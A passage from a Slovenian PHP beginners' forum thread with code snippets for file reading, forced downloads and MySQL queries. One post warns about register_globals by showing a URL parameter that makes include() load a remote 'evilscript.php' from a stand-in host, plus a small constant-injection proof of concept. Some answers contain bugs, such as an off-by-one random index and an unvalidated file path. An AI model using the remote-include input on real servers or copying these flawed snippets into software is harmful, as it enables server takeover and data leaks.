Skoči na vsebino

Forum ne deluje več - obiščite nas na racunalniske-novice.com




Slika

Vse o PHPju


Odgovorov v temi: 1931

#1601 publikum

publikum

    Velemojster

  • Members
  • 5.974 objav
  • Kraj:Deep in code...
  • Interesi:Linux, PHP, C++, C#, .NET, ...

Objavljeno 04 april 2007 - 18:26

borut007, tole 100% deluje:

<?php

$datum = "Pon, 20.12.1982 0:00";

list($dan, $datum, $cas) = explode(" ", $datum);

echo $dan . " " . $datum;

?>


#1602 AFowl

AFowl

    Poročevalec

  • Members
  • 521 objav
  • Spol:Moški
  • Kraj:Škofja Loka

Objavljeno 14 april 2007 - 19:35

Mene pa zanima če bi se dalo s preprostim ukazom priklicati neko datoteko na mojem serverju iz nje prebrati neko naključno vrstico in jo potem zapisati na točno določeno mesto na strani.

Aja mogoče bo to tudi nekaj pomagalo da imam preprost phbbb forum lol.

#1603 publikum

publikum

    Velemojster

  • Members
  • 5.974 objav
  • Kraj:Deep in code...
  • Interesi:Linux, PHP, C++, C#, .NET, ...

Objavljeno 14 april 2007 - 20:19

<?php







$vrstice = file("datoteka.txt");







$n = rand(0, count($vrstice));







echo $vrstice[$n];



?>


#1604 AFowl

AFowl

    Poročevalec

  • Members
  • 521 objav
  • Spol:Moški
  • Kraj:Škofja Loka

Objavljeno 14 april 2007 - 22:02

Hvala sedaj sem spacal tole skupaj.

#1605 AFowl

AFowl

    Poročevalec

  • Members
  • 521 objav
  • Spol:Moški
  • Kraj:Škofja Loka

Objavljeno 20 april 2007 - 12:22

Spet eno vprašanje

// Get a file into an array.  In this example we'll go through HTTP to get

// the HTML source of a URL.

$lines = file('random/regulars.txt');



// Loop through our array, show HTML source as HTML source; and line numbers too.

foreach ($lines as $line_num => $line) {

	$regulars = "Line #<b>{$line_num}</b> : " . htmlspecialchars($line) . "<br />n";

}

Zakaj se napiše samo
Line #115 : WennyG


#1606 simy456

simy456

    Mojster

  • Members
  • 1.723 objav
  • Kraj:Okolica Radovljice

Objavljeno 20 april 2007 - 13:48

AFowl, probaj tako

for($i=0; $i<count($lines); $i++){

	echo "Line #<b>{$i}</b> : " . htmlspecialchars($lines[$i]) . "<br />"; 



}


#1607 AFowl

AFowl

    Poročevalec

  • Members
  • 521 objav
  • Spol:Moški
  • Kraj:Škofja Loka

Objavljeno 20 april 2007 - 15:17

simy456, še zmeraj je isto :(

Kako bi pa naredil da mi preprosto izpiše vse vrstice v eni datoteki. Brez nekih dodatnih zahtev oštevilčenja.

#1608 simy456

simy456

    Mojster

  • Members
  • 1.723 objav
  • Kraj:Okolica Radovljice

Objavljeno 20 april 2007 - 16:01

Pokaži vsebino te datoteke prosim.

#1609 AFowl

AFowl

    Poročevalec

  • Members
  • 521 objav
  • Spol:Moški
  • Kraj:Škofja Loka

Objavljeno 20 april 2007 - 19:08

Ima 115 vrstic in v vsaki vrstici je zapisano neko ime..

nič drugega....

#1610 sverde1

sverde1

    Iznajdljivec

  • Members
  • 868 objav
  • Kraj:root

Objavljeno 24 april 2007 - 20:14

$regulars = "Line #<b>{$line_num}</b> : " . htmlspecialchars($line) . "<br />n";
Dodaj tukaj pred = piko, se pravi uporabi operator .=. Če bo slučajno PHP težil z kakim Notice, pred zanko initaliziraj spremenljivko $regulars takole
$regulars = null;


#1611 mpapler

mpapler

    Iznajdljivec

  • Members
  • 957 objav
  • Kraj:Spodnji Kihec pri Bogzahrbtju

Objavljeno 24 april 2007 - 22:35

Mogoče veš, so te notici za kaj slabi (bi bilo boljše programirati da jih ni), ali je boljše narediti E_ALL & ~E_NOTICE?

rad delam $a[asdf] namesto $a['asdf'].

#1612 publikum

publikum

    Velemojster

  • Members
  • 5.974 objav
  • Kraj:Deep in code...
  • Interesi:Linux, PHP, C++, C#, .NET, ...

Objavljeno 25 april 2007 - 04:38

mpapler, bolje je programirati tako, da ti v načinu E_ALL ne izpiše prav nobene napake...

Glede tvoje razvade - v tvojem primeru se lahko zakomplicira, če definiraš konstanto asdf, ker potem PHP ne ve kaj naj upošteva - konstanto ali pa naj asdf jemlje kot niz ('asdf')...

#1613 mpapler

mpapler

    Iznajdljivec

  • Members
  • 957 objav
  • Kraj:Spodnji Kihec pri Bogzahrbtju

Objavljeno 25 april 2007 - 11:11

Zato se ponavadi za konstante uporablja velike črke... kar imam v $a[konstanta] je pa vedno z malimi, torej malo možnosti da bi se te zadeve kregale. Ampak ja, se strinjam da bolje pisati brez noticev :mrgreen:

#1614 sverde1

sverde1

    Iznajdljivec

  • Members
  • 868 objav
  • Kraj:root

Objavljeno 25 april 2007 - 21:47

mpapler, E_NOTICE te opozori, če kakšne spremenljivke nisi predhodno definiral, kar je lahko velika varnostna luknja, če so v nastavitvah PHP-ja register globals vključene. Torej, če ti napišeš:
<?php

include($myvar);

?>
in je nastavitev register globals na ON, lahk nekdo naredi ime_datoteke.php?myvar=http://example.tld/evilscript.php in pridobi nadzor nad strežnikom. Zato je pametno ta opozorila upoštevati, saj ne veš pri kakšnih nastavitvah bo potem tvoja skripta delovala ko jo boš prodal.

Glede arrayev: raje uporabljaj narekovaje, ker ziher je ziher, lahko da dinamično vključuješ plugine in nekdo slučajno definira konstanto z takšnim imenom v plugin datoteki in že bo cel cirkus zaradi enih bogih narekovajev. Lahko je kdo tud tako pameten da tole naredi:
<?php

// datoteka z pluginom

define('asdf', $_GET['asdf']);

?>

<?php

// datoteka, ki uporablja plugin

include('asdf.php');



$array = beriZeloPomembnePodatke();



echo $array[asdf];

?>
Nepridiprav vpiše npr dat.php?asdf=index_arraya in že se mu izpiše vrednost pod tistim indexom v arrayu. Sicer je malo verjetno, da bo kdo tak programiru ampak PoC je pa le ;-)

#1615 jernejko01

jernejko01

    nOObie

  • Members
  • 4 objav

Objavljeno 28 april 2007 - 10:31

Zdravo, že kar nekaj časa iščem preprosto skripto za dodajanje verzov na spletno stran. Rabil bi čisto preprosto, kjer bi lahko vsakdo dodal svoj verz. Vpisati bi moral varnostno kodo in svoje ime, ter verz. Edino jaz bi lahko brisal in popravljal verze, če se da.

PS: kako pa je narejena funkcija "pošlji verz prijatelju"?

Najlepša hvala za pomoč
Jernej :ok:

#1616 itanium

itanium

    Spammer

  • Members
  • 3.389 objav
  • Spol:Moški
  • Kraj:Ratež 18
  • Interesi:Arduino, Gadgeteer, fotografiranje, spletne strani, ...

Objavljeno 23 maj 2007 - 13:40

Imam skripto, ki mi ustvari Link za dolpoteg neke datoteke:
<a href='".STRAN."?downlod_id=$cat_id&amp;download_id=".$data['download_id']."' target='_parent'>"Download"</a>
Jaz pa bi rad, da takoj ko nekdo klikne na link se mu pokaže za shranitev datoteke in ga hkrati preusmeri na neko drugo stran.

#1617 simy456

simy456

    Mojster

  • Members
  • 1.723 objav
  • Kraj:Okolica Radovljice

Objavljeno 23 maj 2007 - 19:25

<?php

$mm_type="application/octet-stream";



header("Cache-Control: public, must-revalidate");

header("Pragma: hack");

header("Content-Type: " . $mm_type);

header("Content-Length: " .(string)(filesize($url)) );

header('Content-Disposition: attachment; filename="'.basename($url).'"');

header("Content-Transfer-Encoding: binaryn");

				  

$fp = fopen($url, 'rb');

$buffer = fread($fp, filesize($url));

fclose ($fp);

				  

print $buffer;

?>

iz

http://si.php.net/ma...tion.header.php

#1618 Heki

Heki

    Spammer

  • Members
  • 3.032 objav

Objavljeno 04 junij 2007 - 12:47

kaj morem nardit, da mi bo email forma pošiljala č ž š črke ...
kaj morem dodat??

#1619 itanium

itanium

    Spammer

  • Members
  • 3.389 objav
  • Spol:Moški
  • Kraj:Ratež 18
  • Interesi:Arduino, Gadgeteer, fotografiranje, spletne strani, ...

Objavljeno 07 junij 2007 - 13:41

Kako filtrirati bazo mysql?

Imam skripto za izris slike. Naslov do slike je shranjen v tabeli mysql. V tej tabeli pa je tudi stolpec "pozicija". Kako naj filtriram te slike v bazi tako, da se bodo uporabile samo tiste, ki imajo za vrednost pozicija npr. številko 1?

Naredil sem takole samo ne deluje:
$result = dbquery("SELECT * FROM ".$db_prefix."buttons WHERE button_pozicija=1");

Problem je v tem, da dokler je samo ena slika z vrednostjo ena deluje, če pa jih je več ali nobene pa poruši strukturo tabel in zraven prikaže pol drugih stvari :)
while ($data=dbarray($result)) {

	echo "

		<div align='center'>

		<table cellpadding='4' cellspacing='0' width='100%'>

		<tr><td><p align='center'><a href='".INFUSIONS."button_panel/button.php?button_id=".$data['button_id']."' target='_blank'>

		<img src='".$data['button_pic']."' border='0' style='filter:alpha(opacity=30)' onMouseOver='nereidFade(this,100,10,30)' onMouseOut='nereidFade(this,30,10,5)' title='".$data['button_name']."' alt='".$data['button_name']."'></a>

		</td></tr>"; 

}

echo "</table></div></p></center></marquee>";

} else {

	echo "<div style='text-align:center'>".$locale['BLAN_102']."</div>";

}


#1620 Heki

Heki

    Spammer

  • Members
  • 3.032 objav

Objavljeno 07 junij 2007 - 19:00

nimaš tist </p> mal pozno? pa kje maš <center> in <marquee>??

jst bi tam nardil takle:

</p></td>
</tr>
</table>
</div>";
} else {
echo "<div style='text-align:center'>".$locale['BLAN_102']."</div>";
}



Dodaj odgovor



  


0 član(ov) bere to temo

0 članov, 0 gostov, 0 anonimnih uporabnikov